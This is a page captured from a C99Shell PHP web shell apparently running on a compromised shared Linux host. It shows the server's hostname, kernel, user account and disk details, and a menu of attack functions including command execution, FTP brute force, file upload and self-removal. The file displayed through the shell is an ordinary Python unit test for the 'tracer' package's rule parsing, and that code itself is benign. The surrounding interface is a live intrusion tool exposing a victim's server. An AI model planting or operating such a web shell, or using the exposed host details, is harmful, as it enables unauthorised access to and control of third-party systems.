!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/lib/python3.6/site-packages/tracer/tests/   drwxr-xr-x
Free 303.02 GB of 429.69 GB (70.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     test_rules.py (2.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
from .__meta__ import *
from tracer.paths import DATA_DIR
from tracer.resources.rules import Rules, Rule

try:
    from unittest.mock import patch, mock_open
    builtins_open = "builtins.open"
except:
    from mock import patch, mock_open
    builtins_open = "__builtin__.open"


class TestRules(unittest.TestCase):

    @classmethod
    def setUpClass(cls):
        cls.DEFINITIONS = [x for x in Rules.DEFINITIONS
                           if x.startswith(DATA_DIR)]

    def setUp(self):
        Rules.DEFINITIONS = self.DEFINITIONS
        Rules._rules = None

    def test_rules_types(self):
        for rule in Rules.all():
            self.assertIsInstance(rule, Rule)

    def test_rules_attributes(self):
        i = 1
        for r in Rules.all():
            if ("name" not in r) or ("action" not in r):
                self.fail("Missing attributes in rule #" + str(i))

            if r.action not in Rules.ACTIONS.values():
                self.fail("Unknown action in rule: " + r.name)

            if len(r) > 2:
                self.fail("Unsupported attributes in rule: " + r.name)

            i += 1

    def test_rules_duplicity(self):
        rules = Rules.all()
        for r in rules:
            if rules.count(r) > 1:
                self.fail("Duplicate rules for: " + r.name)

    def test_app_with_no_rule(self):
        self.assertIsNone(Rules.find("NON_EXISTING_APPLICATION"))

    def test_representations(self):
        rule = Rule({"name": "foo"})
        self.assertEqual(str(rule), "<Rule: foo>")
        self.assertEqual(repr(rule), "<Rule: foo>")

    def test_update(self):
        r1 = Rule({"name": "foo", "action": "bar"})
        r2 = Rule({"name": "foo", "action": "baz"})

        r1.update(r2)
        self.assertEqual(r1.action, "baz")

    def test_load(self):
        """
        Test parsing a single XML file with rules
        """
        Rules.DEFINITIONS = ["whatever-file.xml"]
        data = (
            "<rules>"
            "    <rule name='foo' action='return' />"
            "    <rule name='bar' />"
            "</rules>"
        )
        with patch(builtins_open, mock_open(read_data=data)):
            rules = Rules.all()
            self.assertEqual(len(rules), 2)
            self.assertTrue(all([isinstance(x, Rule) for x in rules]))
            self.assertEqual(rules[0].name, "foo")
            self.assertEqual(rules[0].action, "return")
            self.assertEqual(rules[1].name, "bar")

    def _count(self, app_name, apps):
        count = 0
        for a in apps:
            if a.name == app_name:
                count += 1
        return count


if __name__ == '__main__':
    unittest.main()

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0036 ]--